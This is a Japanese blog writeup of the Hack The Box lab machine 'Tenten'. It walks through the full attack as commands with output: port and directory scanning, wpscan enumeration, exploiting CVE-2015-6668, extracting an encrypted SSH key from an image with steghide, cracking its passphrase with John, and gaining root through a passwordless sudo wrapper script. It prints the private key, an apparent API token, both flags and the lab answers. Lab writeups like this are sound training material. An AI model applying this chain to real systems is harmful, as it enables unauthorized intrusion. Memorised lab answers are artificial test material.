Hack The BoxのWriteup(Tenten)[Medium]

※本サイトはアフィリエイト広告を利用しています。
広告

本記事の概要

Hack The BoxのLinuxサーバの難易度Mediumのマシンである「Tenten」に対する攻撃手法を記載します。

本記事では、以下の手順を記載します。
  (1) ポートスキャン
  (2) 名前解決のためのhostsファイル更新
  (3) Webアクセスできるファイル/ディレクトリ調査
  (4) WordPressの調査(wpscanを用いたユーザー名取得)
  (5) WordPressの調査(wpscanのAPIトークンを用いた詳細調査)
  (6) CVファイル取得(CVE-2015-6668の脆弱性悪用)
  (7) 取得した画像ファイルの解析(ステガノグラフィ)
  (8) SSHの秘密鍵のパスフレーズ解析
  (9) takisユーザーでSSHのログイン
  (10) 特権昇格(sudoの設定)

※画面や記載している手順は記事を作成した時点のものですので、画面などが変わっている可能性があります。


ポートスキャン


(1) nmapコマンドを実行して、応答があるポート番号を確認する。SSH(22/tcp) やHTTP(80/tcp)のポートが応答がある。

$ nmap -sS -sC -sV -A -p- -Pn --min-rate 5000 10.10.10.10
Starting Nmap 7.95 ( https://nmap.org ) at 2025-05-09 07:42 JST
Nmap scan report for 10.10.10.10
Host is up (0.33s latency).
Not shown: 65533 filtered tcp ports (no-response)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 ec:f7:9d:38:0c:47:6f:f0:13:0f:b9:3b:d4:d6:e3:11 (RSA)
|   256 cc:fe:2d:e2:7f:ef:4d:41:ae:39:0e:91:ed:7e:9d:e7 (ECDSA)
|_  256 8d:b5:83:18:c0:7c:5d:3d:38:df:4b:e1:a4:82:8a:07 (ED25519)
80/tcp open  http    Apache httpd 2.4.18
|_http-title: Did not follow redirect to http://tenten.htb/
|_http-server-header: Apache/2.4.18 (Ubuntu)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose|storage-misc
Running (JUST GUESSING): Linux 3.X|4.X|2.6.X (97%), Synology DiskStation Manager 7.X (88%)
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:2.6 cpe:/a:synology:diskstation_manager:7.1 cpe:/o:linux:linux_kernel:4.4
Aggressive OS guesses: Linux 3.10 - 4.11 (97%), Linux 3.2 - 4.14 (97%), Linux 2.6.32 - 3.13 (91%), Linux 4.4 (91%), Linux 2.6.32 - 3.10 (91%), Linux 3.13 - 4.4 (91%), Linux 3.8 - 3.16 (91%), Linux 3.13 or 4.2 (90%), Linux 3.16 - 4.6 (90%), Linux 3.18 (90%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: Host: 127.0.1.1; OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 22/tcp)
HOP RTT       ADDRESS
1   208.63 ms 10.10.16.1
2   412.94 ms 10.10.10.10

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 54.72 seconds


名前解決のためのhostsファイル更新


(1) ブラウザを用いて「http://10.10.10.10/」にアクセスすると、「http://tenten.htb/」にリダイレクトされる。

(2) 名前解決できるようにKali Linuxの/etc/hostsファイルに記載する。

$ echo '10.10.10.10 tenten.htb' | sudo tee -a /etc/hosts

$ cat /etc/hosts
   →「10.10.10.10 tenten.htb」が出力されることを確認する。


(3) ブラウザを用いて「http://tenten.htb/」にアクセスすると、Webページが表示される。またWebページの内容を確認すると、WordPressを用いてWebサイトを作成したことが分かる。


Webアクセスできるファイル/ディレクトリ調査


(1) feroxbusterを用いてアクセスできるURLを確認すると、「http://tenten.htb/wp-admin/」のアクセス時のHTTPステータスコードが301番(リダイレクト)されていることが分かる。

$ feroxbuster -u http://tenten.htb/ -d 2 -C 400,403,404,405,500
ーーー(省略)ーーー
200      GET      164l      289w     2655c http://tenten.htb/wp-content/plugins/job-manager/css/display.css
200      GET       43l       43w     1045c http://tenten.htb/wp-includes/wlwmanifest.xml
301      GET        9l       28w      313c http://tenten.htb/wp-content => http://tenten.htb/wp-content/
301      GET        9l       28w      311c http://tenten.htb/wp-admin => http://tenten.htb/wp-admin/
ーーー(省略)ーーー




(2) GoBusterを用いてアクセスできるURLを確認すると、「http://tenten.htb/.bashrc」や「http://tenten.htb/.profile」のアクセス時のHTTPステータスコードが200番(成功)になっていることが分かる。

$ gobuster dir -u http://tenten.htb/ -w /usr/share/seclists/Discovery/Web-Content/big.txt -t 100 -o Tenten_80.txt
ーーー(省略)ーーー
/.htpasswd            (Status: 403) [Size: 294]
/.htaccess            (Status: 403) [Size: 294]
/.bashrc              (Status: 200) [Size: 3771]
/.profile             (Status: 200) [Size: 655]
/server-status        (Status: 403) [Size: 298]
/wp-admin             (Status: 301) [Size: 311] [--> http://tenten.htb/wp-admin/]
/wp-content           (Status: 301) [Size: 313] [--> http://tenten.htb/wp-content/]
/wp-includes          (Status: 301) [Size: 314] [--> http://tenten.htb/wp-includes/]
ーーー(省略)ーーー




(3) dirsearchを用いてアクセスできるURLを確認すると、「http://tenten.htb/.bash_logout」や「http://tenten.htb/.bashrc」のアクセス時のHTTPステータスコードが200番(成功)になっていることが分かる。。

$ sudo dirsearch -u http://tenten.htb/
ーーー(省略)ーーー
[21:18:17] 200 -  220B  - /.bash_logout
[21:18:17] 200 -    4KB - /.bashrc
[21:18:18] 403 -  292B  - /.cache/
[21:18:18] 301 -  309B  - /.cache  ->  http://tenten.htb/.cache/
[21:18:22] 403 -  296B  - /.ht_wsr.txt
[21:18:22] 403 -  299B  - /.htaccess.bak1
[21:18:22] 403 -  299B  - /.htaccess.orig
[21:18:22] 403 -  301B  - /.htaccess.sample
ーーー(省略)ーーー




(4) ffufを用いてアクセスできるURLを確認すると、「http://tenten.htb/wp-content」や「http://tenten.htb/wp-admin」のアクセス時のHTTPステータスコードが301番(リダイレクト)になっていることが分かる。

$ ffuf -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt:FUZZ -u "http://tenten.htb/FUZZ" -ic
ーーー(省略)ーーー
wp-content              [Status: 301, Size: 313, Words: 20, Lines: 10, Duration: 212ms]
wp-includes             [Status: 301, Size: 314, Words: 20, Lines: 10, Duration: 210ms]
                        [Status: 200, Size: 53993, Words: 3354, Lines: 329, Duration: 268ms]
wp-admin                [Status: 301, Size: 311, Words: 20, Lines: 10, Duration: 208ms]
                        [Status: 200, Size: 53993, Words: 3354, Lines: 329, Duration: 263ms]
server-status           [Status: 403, Size: 298, Words: 22, Lines: 12, Duration: 218ms]
ーーー(省略)ーーー




WordPressの調査(wpscanを用いたユーザー名取得)


(1) アクセスできるファイル/ディレクトリの調査結果からWordPressが動作していることが分かる。そのため、WordPressの管理画面のURL(http://tenten.htb/wp-admin/)にアクセスする。


(2) wpscanを再インストールする。

# sudo apt remove wpscan && apt install wpscan


# wpscan --update


(3) wpscanでユーザー名を調査したところ、takisというユーザーが設定されていることが分かる。

$ wpscan --url http://tenten.htb/ --enumerate u 
ーーー(省略)ーーー
[i] User(s) Identified:

[+] takis
 | Found By: Author Posts - Author Pattern (Passive Detection)
 | Confirmed By:
 |  Rss Generator (Passive Detection)
 |  Wp Json Api (Aggressive Detection)
 |   - http://tenten.htb/index.php/wp-json/wp/v2/users/?per_page=100&page=1
 |  Author Id Brute Forcing - Author Pattern (Aggressive Detection)
 |  Login Error Messages (Aggressive Detection)

[!] No WPScan API Token given, as a result vulnerability data has not been output.
[!] You can get a free API token with 25 daily requests by registering at https://wpscan.com/register


WordPressの調査(wpscanのAPIトークンを用いた詳細調査)


(1) 無料のAPIトークンを取得するために「https://wpscan.com/」にアクセスして「Start for free」をクリックする。


(2) ユーザー名やパスワードなど必要な情報を入力して、「Register」をクリックする。



(3) 確認メールが届くため、メールに記載されたURLをクリックする。


(4) ログイン画面が表示されるため、設定したメールアドレスとパスワードを入力してログインする。


(5) APIトークンをコピーをする。


(6) APIトークンとwpscanを用いて「http://tenten.htb/」の脆弱性を調査したところ、WordPressの脆弱性やJob Managerプラグインの脆弱性があることが分かる。wpscanの結果からJob Managerプラグインの脆弱性(CVE-2015-6668)を悪用して攻撃することで任意のCVファイルを取得できることが分かる。

$ wpscan --url http://tenten.htb/ --enumerate vp,vt,tt,u --api-token qbNtDXxVa3Pi5PePLodnZfdInmAsPlZCRaenkFP5Ssg --plugins-detection mixed
ーーー(省略)ーーー
[i] Plugin(s) Identified:

[+] job-manager
 | Location: http://tenten.htb/wp-content/plugins/job-manager/
 | Latest Version: 0.7.25 (up to date)
 | Last Updated: 2015-08-25T22:44:00.000Z
 | Readme: http://tenten.htb/wp-content/plugins/job-manager/readme.txt
 |
 | Found By: Urls In Homepage (Passive Detection)
 | Confirmed By: Known Locations (Aggressive Detection)
 |  - http://tenten.htb/wp-content/plugins/job-manager/, status: 403
 |
 | [!] 2 vulnerabilities identified:
 |
 | [!] Title: Job Manager <= 0.7.25 -  Insecure Direct Object Reference (IDOR)
 |     References:
 |      - https://wpscan.com/vulnerability/9fd14f37-8c45-46f9-bcb6-8613d754dd1c
 |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-6668
 |      - https://vagmour.eu/cve-2015-6668-cv-filename-disclosure-on-job-manager-wordpress-plugin/
 |
 | [!] Title: Job Manager <= 0.7.25 - Admin+ Stored Cross-Site Scripting
 |     References:
 |      - https://wpscan.com/vulnerability/e649292a-81d2-40c4-a075-ac98a3578fe8
 |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-39336
 |      - https://www.wordfence.com/vulnerability-advisories/#CVE-2021-39336
 |
 | Version: 7.2.5 (80% confidence)
 | Found By: Readme - Stable Tag (Aggressive Detection)
 |  - http://tenten.htb/wp-content/plugins/job-manager/readme.txt

[+] Enumerating Vulnerable Themes (via Passive and Aggressive Methods)
ーーー(省略)ーーー




(7) 「CVE-2015-6668 github」でGoogle検索すると、「https://github.com/n3rdh4x0r/CVE-2015-6668」に攻撃コードが公開されていることが分かる。

CVファイル取得(CVE-2015-6668の脆弱性悪用)


(1) CVE-2015-6668の攻撃コードを実行するための準備をする

$ git clone https://github.com/jimdiroffii/CVE-2015-6668.git
Cloning into 'CVE-2015-6668'...
remote: Enumerating objects: 11, done.
remote: Counting objects: 100% (11/11), done.
remote: Compressing objects: 100% (10/10), done.
remote: Total 11 (delta 2), reused 6 (delta 1), pack-reused 0 (from 0)
Receiving objects: 100% (11/11), 7.29 KiB | 7.29 MiB/s, done.
Resolving deltas: 100% (2/2), done.


$ cd CVE-2015-6668


$ sudo python3 -m venv .venv


(2) 「https://wpjobmanager.com/document/advanced-usage/preselect-filters-on-jobs-page-using-url-query-strings/」にJob Managerで公開しているWebページのアクセス先が記載されているため、「http://tenten.htb/index.php/jobs/」にアクセスする。

(3) 「http://tenten.htb/index.php/jobs/apply/[ID]/」にアクセスすると、Job Managerで公開しているWebページのを表示できるため、IDガ1から30までのIDで公開されているIDを確認する。公開されていないWebページのレスポンスのバイト数が57528バイトのため、それ以外を表示する。

$ seq 30 > number.txt


$ ffuf -w ./number.txt:FFUZ -u http://tenten.htb/index.php/jobs/apply/FFUZ/ -fw 57528
ーーー(省略)ーーー
5                       [Status: 200, Size: 57629, Words: 3638, Lines: 396, Duration: 639ms]
6                       [Status: 200, Size: 57644, Words: 3638, Lines: 396, Duration: 1648ms]
10                      [Status: 200, Size: 57639, Words: 3635, Lines: 396, Duration: 1436ms]
9                       [Status: 200, Size: 57589, Words: 3634, Lines: 396, Duration: 2293ms]
12                      [Status: 200, Size: 57641, Words: 3635, Lines: 396, Duration: 2515ms]
13                      [Status: 200, Size: 57685, Words: 3635, Lines: 396, Duration: 2952ms]
11                      [Status: 200, Size: 57623, Words: 3635, Lines: 396, Duration: 4095ms]
3                       [Status: 200, Size: 57618, Words: 3638, Lines: 396, Duration: 5163ms]
2                       [Status: 200, Size: 57633, Words: 3638, Lines: 396, Duration: 1562ms]
7                       [Status: 200, Size: 57626, Words: 3635, Lines: 396, Duration: 427ms]
1                       [Status: 200, Size: 57636, Words: 3638, Lines: 396, Duration: 431ms]
8                       [Status: 200, Size: 57634, Words: 3638, Lines: 396, Duration: 426ms]
:: Progress: [30/30] :: Job [1/1] :: 2 req/sec :: Duration: [0:00:13] :: Errors: 0 ::



(4) 上記(3)で表示されたIDのURLにアクセスすると、以下のタイトルのWebページがある。IDが13のタイトルが「HackerAccessGranted」という気になるタイトルになっている。

IDタイトル
1Hello world!
2Sample Page
3Auto Draft
5Jobs Listing
6Job Application
7Register
8Pen Tester
9空白
10Application
11cube
12Application
13HackerAccessGranted


(5) 「https://github.com/n3rdh4x0r/CVE-2015-6668」に攻撃コードを用いて「HackerAccessGranted」というファイル名があるかどうか調査すると、「http://tenten.htb//wp-content/uploads/2017/04/HackerAccessGranted.jpg」にあることが分かる。

$ python3 ./exploit.py
CVE-2015-6668
Title: CV filename disclosure on Job-Manager WP Plugin
Author: Evangelos Mourikis
Blog: https://vagmour.eu
Plugin URL: http://www.wp-jobmanager.com
Versions: <=0.7.25

Enter a vulnerable website:    ←「http://tenten.htb/」を入力する。
Enter a file name:     ←「HackerAccessGranted」を入力する。
[+] URL of CV found! http://tenten.htb//wp-content/uploads/2017/04/HackerAccessGranted.jpg

Enter a vulnerable website:


(6) ブラウザを用いて「http://tenten.htb//wp-content/uploads/2017/04/HackerAccessGranted.jpg」にアクセスして、画像ファイルを保存する。

取得した画像ファイルの解析(ステガノグラフィ)


(1) 取得した画像ファイルのファイルタイプを確認すると、JPEGであることが分かる。

$ file HackerAccessGranted.jpg
HackerAccessGranted.jpg: JPEG image data, JFIF standard 1.01, resolution (DPCM), density 29x29, segment length 16, baseline, precision 8, 1500x1001, components 3


(2) 画像ファイルのExif情報を確認しても特に気になる情報はない。

$ exiftool HackerAccessGranted.jpg
ExifTool Version Number         : 13.10
File Name                       : HackerAccessGranted.jpg
Directory                       : .
File Size                       : 262 kB
File Modification Date/Time     : 2025:05:11 21:59:53+09:00
File Access Date/Time           : 2025:05:11 22:25:28+09:00
File Inode Change Date/Time     : 2025:05:11 22:25:20+09:00
File Permissions                : -rw-rw-r--
File Type                       : JPEG
File Type Extension             : jpg
MIME Type                       : image/jpeg
JFIF Version                    : 1.01
Resolution Unit                 : cm
X Resolution                    : 29
Y Resolution                    : 29
Image Width                     : 1500
Image Height                    : 1001
Encoding Process                : Baseline DCT, Huffman coding
Bits Per Sample                 : 8
Color Components                : 3
Y Cb Cr Sub Sampling            : YCbCr4:2:0 (2 2)
Image Size                      : 1500x1001
Megapixels                      : 1.5


(3) ステガノグラフィーでファイルが埋め込まれているか確認するために、steghideをインストールする。

$ sudo apt-get install steghide -y


(4) 画像ファイルに埋め込まれたファイル(id_rsa)を取得できる。

$ steghide extract -sf HackerAccessGranted.jpg
Enter passphrase:     ←何も入力せずに[Enter]
wrote extracted data to "id_rsa".


$ ll
合計 264
-rw-rw-r-- 1 kali kali 262408  5月 11 21:59 HackerAccessGranted.jpg
-rw-rw-r-- 1 kali kali   1766  5月 11 22:25 id_rsa


(5) 取得したid_rsaファイルを確認すると、秘密鍵であることが分かる。

$ cat id_rsa
-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: AES-128-CBC,7265FC656C429769E4C1EEFC618E660C

/HXcUBOT3JhzblH7uF9Vh7faa76XHIdr/Ch0pDnJunjdmLS/laq1kulQ3/RF/Vax
tjTzj/V5hBEcL5GcHv3esrODlS0jhML53lAprkpawfbvwbR+XxFIJuz7zLfd/vDo
1KuGrCrRRsipkyae5KiqlC137bmWK9aE/4c5X2yfVTOEeODdW0rAoTzGufWtThZf
K2ny0iTGPndD7LMdm/o5O5As+ChDYFNphV1XDgfDzHgonKMC4iES7Jk8Gz20PJsm
SdWCazF6pIEqhI4NQrnkd8kmKqzkpfWqZDz3+g6f49GYf97aM5TQgTday2oFqoXH
WPhK3Cm0tMGqLZA01+oNuwXS0H53t9FG7GqU31wj7nAGWBpfGodGwedYde4zlOBP
VbNulRMKOkErv/NCiGVRcK6k5Qtdbwforh+6bMjmKE6QvMXbesZtQ0gC9SJZ3lMT
J0IY838HQZgOsSw1jDrxuPV2DUIYFR0W3kQrDVUym0BoxOwOf/MlTxvrC2wvbHqw
AAniuEotb9oaz/Pfau3OO/DVzYkqI99VDX/YBIxd168qqZbXsM9s/aMCdVg7TJ1g
2gxElpV7U9kxil/RNdx5UASFpvFslmOn7CTZ6N44xiatQUHyV1NgpNCyjfEMzXMo
6FtWaVqbGStax1iMRC198Z0cRkX2VoTvTlhQw74rSPGPMEH+OSFksXp7Se/wCDMA
pYZASVxl6oNWQK+pAj5z4WhaBSBEr8ZVmFfykuh4lo7Tsnxa9WNoWXo6X0FSOPMk
tNpBbPPq15+M+dSZaObad9E/MnvBfaSKlvkn4epkB7n0VkO1ssLcecfxi+bWnGPm
KowyqU6iuF28w1J9BtowgnWrUgtlqubmk0wkf+l08ig7koMyT9KfZegR7oF92xE9
4IWDTxfLy75o1DH0Rrm0f77D4HvNC2qQ0dYHkApd1dk4blcb71Fi5WF1B3RruygF
2GSreByXn5g915Ya82uC3O+ST5QBeY2pT8Bk2D6Ikmt6uIlLno0Skr3v9r6JT5J7
L0UtMgdUqf+35+cA70L/wIlP0E04U0aaGpscDg059DL88dzvIhyHg4Tlfd9xWtQS
VxMzURTwEZ43jSxX94PLlwcxzLV6FfRVAKdbi6kACsgVeULiI+yAfPjIIyV0m1kv
5HV/bYJvVatGtmkNuMtuK7NOH8iE7kCDxCnPnPZa0nWoHDk4yd50RlzznkPna74r
Xbo9FdNeLNmER/7GGdQARkpd52Uur08fIJW2wyS1bdgbBgw/G+puFAR8z7ipgj4W
p9LoYqiuxaEbiD5zUzeOtKAKL/nfmzK82zbdPxMrv7TvHUSSWEUC4O9QKiB3amgf
yWMjw3otH+ZLnBmy/fS6IVQ5OnV6rVhQ7+LRKe+qlYidzfp19lIL8UidbsBfWAzB
9Xk0sH5c1NQT6spo/nQM3UNIkkn+a7zKPJmetHsO4Ob3xKLiSpw5f35SRV+rF+mO
vIUE1/YssXMO7TK6iBIXCuuOUtOpGiLxNVRIaJvbGmazLWCSyptk5fJhPLkhuK+J
YoZn9FNAuRiYFL3rw+6qol+KoqzoPJJek6WHRy8OSE+8Dz1ysTLIPB6tGKn7EWnP
-----END RSA PRIVATE KEY-----


(6) 取得したSSHの秘密鍵を用いてSSHログインしようとするが、パスフレーズが設定されており分からないため、ログインできない。

$ chmod 600 id_rsa


$ ssh -i id_rsa tenten.htb
Enter passphrase for key 'id_rsa':
kali@tenten.htb's password:


SSHの秘密鍵のパスフレーズ解析


(1) SSHの秘密鍵のパスフレーズを解析できるようにフォーマットを変更する。

$ ssh2john id_rsa > id_rsa_hash


$ cat id_rsa_hash
id_rsa:$sshng$1$16$7265FC656C429769E4C1EEFC618E660C$1200$fc75dc501393dc98736e51fbb85f5587b7da6bbe971c876bfc2874a439c9ba78dd98b4bf95aab592e950dff445fd56b1b634f38ff57984111c2f919c1efddeb2b383952d2384c2f9de5029ae4a5ac1f6efc1b47e5f114826ecfbccb7ddfef0e8d4ab86ac2ad146c8a993269ee4a8aa942d77edb9962bd684ff87395f6c9f55338478e0dd5b4ac0a13cc6b9f5ad4e165f2b69f2d224c63e7743ecb31d9bfa393b902cf82843605369855d570e07c3cc78289ca302e22112ec993c1b3db43c9b2649d5826b317aa4812a848e0d42b9e477c9262aace4a5f5aa643cf7fa0e9fe3d1987fdeda3394d081375acb6a05aa85c758f84adc29b4b4c1aa2d9034d7ea0dbb05d2d07e77b7d146ec6a94df5c23ee7006581a5f1a8746c1e75875ee3394e04f55b36e95130a3a412bbff34288655170aea4e50b5d6f07e8ae1fba6cc8e6284e90bcc5db7ac66d434802f52259de5313274218f37f0741980eb12c358c3af1b8f5760d4218151d16de442b0d55329b4068c4ec0e7ff3254f1beb0b6c2f6c7ab00009e2b84a2d6fda1acff3df6aedce3bf0d5cd892a23df550d7fd8048c5dd7af2aa996d7b0cf6cfda30275583b4c9d60da0c4496957b53d9318a5fd135dc79500485a6f16c9663a7ec24d9e8de38c626ad4141f2575360a4d0b28df10ccd7328e85b56695a9b192b5ac7588c442d7df19d1c4645f65684ef4e5850c3be2b48f18f3041fe392164b17a7b49eff0083300a58640495c65ea835640afa9023e73e1685a052044afc6559857f292e878968ed3b27c5af56368597a3a5f415238f324b4da416cf3ead79f8cf9d49968e6da77d13f327bc17da48a96f927e1ea6407b9f45643b5b2c2dc79c7f18be6d69c63e62a8c32a94ea2b85dbcc3527d06da308275ab520b65aae6e6934c247fe974f2283b9283324fd29f65e811ee817ddb113de085834f17cbcbbe68d431f446b9b47fbec3e07bcd0b6a90d1d607900a5dd5d9386e571bef5162e5617507746bbb2805d864ab781c979f983dd7961af36b82dcef924f9401798da94fc064d83e88926b7ab8894b9e8d1292bdeff6be894f927b2f452d320754a9ffb7e7e700ef42ffc0894fd04d3853469a1a9b1c0e0d39f432fcf1dcef221c878384e57ddf715ad4125713335114f0119e378d2c57f783cb970731ccb57a15f45500a75b8ba9000ac8157942e223ec807cf8c82325749b592fe4757f6d826f55ab46b6690db8cb6e2bb34e1fc884ee4083c429cf9cf65ad275a81c3938c9de74465cf39e43e76bbe2b5dba3d15d35e2cd98447fec619d400464a5de7652eaf4f1f2095b6c324b56dd81b060c3f1bea6e14047ccfb8a9823e16a7d2e862a8aec5a11b883e7353378eb4a00a2ff9df9b32bcdb36dd3f132bbfb4ef1d4492584502e0ef502a20776a681fc96323c37a2d1fe64b9c19b2fdf4ba2154393a757aad5850efe2d129efaa95889dcdfa75f6520bf1489d6ec05f580cc1f57934b07e5cd4d413eaca68fe740cdd43489249fe6bbcca3c999eb47b0ee0e6f7c4a2e24a9c397f7e52455fab17e98ebc8504d7f62cb1730eed32ba8812170aeb8e52d3a91a22f1355448689bdb1a66b32d6092ca9b64e5f2613cb921b8af89628667f45340b9189814bdebc3eeaaa25f8aa2ace83c925e93a587472f0e484fbc0f3d72b132c83c1ead18a9fb1169cf


(2) John the Ripperを用いてパスフレーズを解析すると、「superpassword」であることが分かる。

$ john --wordlist=/usr/share/wordlists/rockyou.txt id_rsa_hash
Using default input encoding: UTF-8
Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all loaded hashes
Cost 2 (iteration count) is 1 for all loaded hashes
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
superpassword    (id_rsa)
1g 0:00:00:00 DONE (2025-05-11 22:37) 3.703g/s 2889Kp/s 2889Kc/s 2889KC/s superpene..supermoy
Use the "--show" option to display all of the cracked passwords reliably
Session completed.


takisユーザーでSSHのログイン


(1) WordPressの管理画面を調査した時にtakisユーザーがあったため、takisユーザーでSSHログインできるか確認する。

$ ssh takis@tenten.htb -i id_rsa
Enter passphrase for key 'id_rsa':     ←パスワード(superpassword)を入力する。
Welcome to Ubuntu 16.04.2 LTS (GNU/Linux 4.4.0-62-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

65 packages can be updated.
39 updates are security updates.


Last login: Fri May  5 23:05:36 2017
To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.

takis@tenten:~$


(2) 現在ログインしているユーザーを確認すると、takisユーザーで複数のグループに所属していることが分かる。

$ id
uid=1000(takis) gid=1000(takis) groups=1000(takis),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),110(lxd),117(lpadmin),118(sambashare)


$ whoami
takis


(3) 一般ユーザー用のフラグファイルを取得する。

$ cat /home/takis/user.txt
5f5287b313de6408d9197b53b8610ec8


特権昇格(sudoの設定)


(1) sudoの設定を確認したところ、パスワードなしでrootユーザー権限で/bin/fuckinを実行できることが分かる。

$ sudo -l
Matching Defaults entries for takis on tenten:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User takis may run the following commands on tenten:
    (ALL : ALL) ALL
    (ALL) NOPASSWD: /bin/fuckin


(2) /bin/fuckinの内容を確認すると、4個の引数で指定したコマンドを実行するシェルであることが分かる。

$ file /bin/fuckin
/bin/fuckin: Bourne-Again shell script, ASCII text executable


$ cat /bin/fuckin
#!/bin/bash
$1 $2 $3 $4


(3) /bin/fuckinをsudoコマンドで実行して、rootユーザー権限で実行できることを確認する。

$ sudo /bin/fuckin whoami
root


$ sudo /bin/fuckin id
uid=0(root) gid=0(root) groups=0(root)


(4) 管理者ユーザー用のフラグファイルを確認する。

$ sudo /bin/fuckin cat /root/root.txt
aa655643d61eb46f48dae117a60ab245


[補足] Guided ModeのQA


・Task 1

問題(英語訳):How many TCP ports are listening on Tenten?
問題(日本語訳):Tenten でリッスンしている TCP ポートはいくつありますか?

答え:2


・Task 2

問題(英語訳):What content management system (CMS) is running the website on Tenten?
問題(日本語訳):Tenten の Web サイトはどのコンテンツ管理システム (CMS) で実行されていますか?

答え:WordPress


・Task 3

問題(英語訳):What username can be identified through WordPress enumeration?
問題(日本語訳):WordPress 列挙を通じて識別できるユーザー名は何ですか?

答え:takis


・Task 4

問題(英語訳):What is the name of the WordPress plugin that's running version 0.7.25?
問題(日本語訳):バージョン 0.7.25 を実行している WordPress プラグインの名前は何ですか?

答え:job-manager


・Task 5

問題(英語訳):What is the 2015 CVE ID for a file disclosure vulnerability in this version of the job-manager plugin?
問題(日本語訳):このバージョンのジョブ マネージャー プラグインにおけるファイル漏洩の脆弱性の 2015 CVE ID は何ですか?

答え:CVE-2015-6668


・Task 6

問題(英語訳):What is the filename for the application that implies that a hacker has already been here.
問題(日本語訳):ハッカーがすでにここにいたことを暗示するアプリケーションのファイル名は何ですか。

答え:HackerAccessGranted


・Task 7

問題(英語訳):What is the relative URL of the file associated with the HackAccessGranted application?
問題(日本語訳):HackAccessGranted アプリケーションに関連付けられているファイルの相対 URL は何ですか?

答え:/wp-content/uploads/2017/04/HackerAccessGranted.jpg


・Task 8

問題(英語訳):What is the password for the SSH key hidden in the image?
問題(日本語訳):画像に隠されている SSH キーのパスワードは何ですか?

答え:superpassword


・Submit User Flag

問題(英語訳):Submit the flag located in the takis user's home directory.
問題(日本語訳):takis ユーザーのホーム ディレクトリにあるフラグを送信します。

答え:5f5287b313de6408d9197b53b8610ec8
※「/home/takis/user.txt」ファイルの内容


・Task 10

問題(英語訳):What is the full path to the file that the takis user can run as root without a password?
問題(日本語訳):takis ユーザーがパスワードなしで root として実行できるファイルへのフルパスは何ですか?

答え:/bin/fuckin


・Submit Root Flag

問題(英語訳):Submit the flag located in the root user's home directory.
問題(日本語訳):ルート ユーザーのホーム ディレクトリにあるフラグを送信します。

答え:aa655643d61eb46f48dae117a60ab245
※「/root/root.txt」ファイルの内容


関連記事(Hack The Box)

※後日作成予定。